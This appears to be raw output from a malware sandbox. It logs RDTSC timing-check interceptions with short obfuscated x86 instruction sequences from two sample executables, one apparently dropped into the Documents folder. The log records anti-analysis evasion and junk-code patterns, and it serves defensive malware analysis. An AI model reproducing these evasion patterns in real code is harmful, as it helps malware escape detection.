Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1220572 second address: 1220579 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1220579 second address: 122057F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122057F second address: 1220585 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1330C00 second address: 1330C12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop eax 0x00000007 pop ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jns 00007FECC5476B26h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1330C12 second address: 1330C16 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1330C16 second address: 1330C1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1330C1F second address: 1330C2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FECC5126356h 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13307BD second address: 13307C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13307C4 second address: 13307C9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1345FF8 second address: 1346015 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jnl 00007FECC5476B26h 0x00000009 push edi 0x0000000a pop edi 0x0000000b pop ebx 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jnc 00007FECC5476B26h 0x00000017 jno 00007FECC5476B26h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13461AD second address: 13461C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FECC5126366h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13461C7 second address: 13461CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1346BF3 second address: 1346BFB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1349D35 second address: 1349D65 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FECC5476B2Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d js 00007FECC5476B43h 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FECC5476B31h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1349D65 second address: 1349D9B instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FECC5126356h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c jmp 00007FECC5126366h 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 pushad 0x00000016 jmp 00007FECC512635Ch 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134B267 second address: 134B26D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134B26D second address: 134B273 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134B273 second address: 134B279 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134B279 second address: 134B27D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134B27D second address: 134B28D instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FECC5476B26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edx 0x0000000d pop edx 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134CF13 second address: 134CF2D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FECC5126366h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134CAA0 second address: 134CAA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59B0266 second address: 59B0285 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, ax 0x00000006 mov edi, eax 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FECC512635Eh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59B0285 second address: 59B0289 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59B0289 second address: 59B028F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59B0339 second address: 59B0351 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FECC5476B34h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59B0351 second address: 59B0395 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FECC512635Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007FECC512635Bh 0x00000015 add al, 0000002Eh 0x00000018 jmp 00007FECC5126369h 0x0000001d popfd 0x0000001e mov ecx, 0F70D4B7h 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59B0395 second address: 59B039B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12650D3 second address: 12650D8 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1265299 second address: 126529E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12654ED second address: 12654FB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FECC512635Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12654FB second address: 1265510 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FECC5476B28h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59B03CE second address: 59B03DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FECC512635Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59B03DE second address: 59B03E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59B03E2 second address: 59B0406 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a mov edx, ecx 0x0000000c push ecx 0x0000000d mov ebx, 28653D5Ah 0x00000012 pop edx 0x00000013 popad 0x00000014 xchg eax, ebp 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007FECC512635Dh 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59B0406 second address: 59B04B7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FECC5476B37h 0x00000009 xor ecx, 3739385Eh 0x0000000f jmp 00007FECC5476B39h 0x00000014 popfd 0x00000015 pushfd 0x00000016 jmp 00007FECC5476B30h 0x0000001b adc esi, 218ABC58h 0x00000021 jmp 00007FECC5476B2Bh 0x00000026 popfd 0x00000027 popad 0x00000028 pop edx 0x00000029 pop eax 0x0000002a mov ebp, esp 0x0000002c jmp 00007FECC5476B36h 0x00000031 pop ebp 0x00000032 pushad 0x00000033 movzx eax, dx 0x00000036 push eax 0x00000037 push edx 0x00000038 pushfd 0x00000039 jmp 00007FECC5476B39h 0x0000003e add cx, 7956h 0x00000043 jmp 00007FECC5476B31h 0x00000048 popfd 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59B04B7 second address: 59B04BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 5DF3D0 second address: 5DF3E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FECC5476B2Ch 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 75997F second address: 75998B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jnc 00007FECC5126356h 0x0000000c rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 759F01 second address: 759F05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 759F05 second address: 759F09 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 75A061 second address: 75A065 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 75A065 second address: 75A069 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 75A069 second address: 75A090 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jno 00007FECC5476B3Ch 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 75D0C1 second address: 75D0DF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FECC512635Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push ecx 0x0000000c jc 00007FECC512635Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 75D0DF second address: 75D11F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 nop 0x00000006 push 00000000h 0x00000008 push edi 0x00000009 call 00007FECC5476B28h 0x0000000e pop edi 0x0000000f mov dword ptr [esp+04h], edi 0x00000013 add dword ptr [esp+04h], 0000001Bh 0x0000001b inc edi 0x0000001c push edi 0x0000001d ret 0x0000001e pop edi 0x0000001f ret 0x00000020 xor ch, 00000043h 0x00000023 push 00000000h 0x00000025 movzx ecx, di 0x00000028 push 10801427h 0x0000002d push eax 0x0000002e push edx 0x0000002f push eax 0x00000030 jnp 00007FECC5476B26h 0x00000036 pop eax 0x00000037 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 75D11F second address: 75D1A3 instructions: 0x00000000 rdtsc 0x00000002 je 00007FECC5126358h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xor dword ptr [esp], 108014A7h 0x00000013 push edx 0x00000014 jmp 00007FECC512635Dh 0x00000019 pop edi 0x0000001a push 00000003h 0x0000001c or dword ptr [ebp+122D36CEh], edx 0x00000022 push 00000000h 0x00000024 push 00000000h 0x00000026 push ebx 0x00000027 call 00007FECC5126358h 0x0000002c pop ebx 0x0000002d mov dword ptr [esp+04h], ebx 0x00000031 add dword ptr [esp+04h], 00000016h 0x00000039 inc ebx 0x0000003a push ebx 0x0000003b ret 0x0000003c pop ebx 0x0000003d ret 0x0000003e xor dword ptr [ebp+122D2D31h], edx 0x00000044 clc 0x00000045 push 00000003h 0x00000047 push 00000000h 0x00000049 push ebx 0x0000004a call 00007FECC5126358h 0x0000004f pop ebx 0x00000050 mov dword ptr [esp+04h], ebx 0x00000054 add dword ptr [esp+04h], 00000019h 0x0000005c inc ebx 0x0000005d push ebx 0x0000005e ret 0x0000005f pop ebx 0x00000060 ret 0x00000061 mov esi, dword ptr [ebp+122D3BE9h] 0x00000067 push B9F9F112h 0x0000006c push eax 0x0000006d push edx 0x0000006e pushad 0x0000006f push eax 0x00000070 push edx 0x00000071 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 75D1A3 second address: 75D1AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 75D1AA second address: 75D1E7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FECC512635Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [esp], 79F9F112h 0x00000010 mov dword ptr [ebp+122D371Ch], ebx 0x00000016 lea ebx, dword ptr [ebp+12451DAFh] 0x0000001c jmp 00007FECC5126360h 0x00000021 push eax 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 push esi 0x00000026 pop esi 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 75D1E7 second address: 75D1EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 75D274 second address: 75D278 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 75D278 second address: 75D27E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 75D27E second address: 75D284 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 75D284 second address: 75D288 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 75D288 second address: 75D28C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 76DB93 second address: 76DB99 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 76DB99 second address: 76DB9E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 752CE0 second address: 752CFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007FECC5476B34h 0x0000000c rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 752CFB second address: 752D01 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 752D01 second address: 752D05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 752D05 second address: 752D16 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FECC5126356h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 752D16 second address: 752D1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 752D1B second address: 752D20 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 77B997 second address: 77B99B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 77B99B second address: 77B9A5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 77BB0E second address: 77BB12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 77BB12 second address: 77BB2C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FECC5126366h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 77BC55 second address: 77BC5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 77BC5B second address: 77BC77 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FECC5126366h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 77C1CA second address: 77C1D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 77C1D2 second address: 77C1E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FECC512635Dh 0x0000000a rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 77C1E4 second address: 77C222 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FECC5476B2Eh 0x00000008 pushad 0x00000009 popad 0x0000000a jbe 00007FECC5476B26h 0x00000010 jmp 00007FECC5476B2Ah 0x00000015 pop edx 0x00000016 pop eax 0x00000017 pushad 0x00000018 jnp 00007FECC5476B3Ch 0x0000001e pushad 0x0000001f push eax 0x00000020 pop eax 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 77C7AC second address: 77C7B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 77D34E second address: 77D359 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 77D7C5 second address: 77D7C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 77D7C9 second address: 77D7DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FECC5476B2Fh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 77D7DE second address: 77D7F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FECC5126362h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 7816C8 second address: 7816D2 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FECC5476B26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 7816D2 second address: 781720 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FECC512635Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d jmp 00007FECC5126366h 0x00000012 mov eax, dword ptr [eax] 0x00000014 jmp 00007FECC512635Ch 0x00000019 mov dword ptr [esp+04h], eax 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 pushad 0x00000021 popad 0x00000022 jmp 00007FECC512635Ah 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 781720 second address: 781726 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 781726 second address: 78172A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 7829F6 second address: 7829FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 786F0C second address: 786F25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FECC512635Dh 0x00000009 pushad 0x0000000a popad 0x0000000b push esi 0x0000000c pop esi 0x0000000d popad 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 786F25 second address: 786F2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 786F2B second address: 786F31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 786F31 second address: 786F6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FECC5476B38h 0x00000009 popad 0x0000000a pushad 0x0000000b jo 00007FECC5476B26h 0x00000011 je 00007FECC5476B26h 0x00000017 jne 00007FECC5476B26h 0x0000001d popad 0x0000001e push eax 0x0000001f push edx 0x00000020 ja 00007FECC5476B26h 0x00000026 pushad 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 78764A second address: 787659 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push edi 0x00000006 jnc 00007FECC5126356h 0x0000000c pushad 0x0000000d popad 0x0000000e pop edi 0x0000000f rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 787659 second address: 78765E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 78941A second address: 789430 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FECC5126356h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c js 00007FECC5126360h 0x00000012 push eax 0x00000013 push edx 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 78949D second address: 7894A2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 7894A2 second address: 7894A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
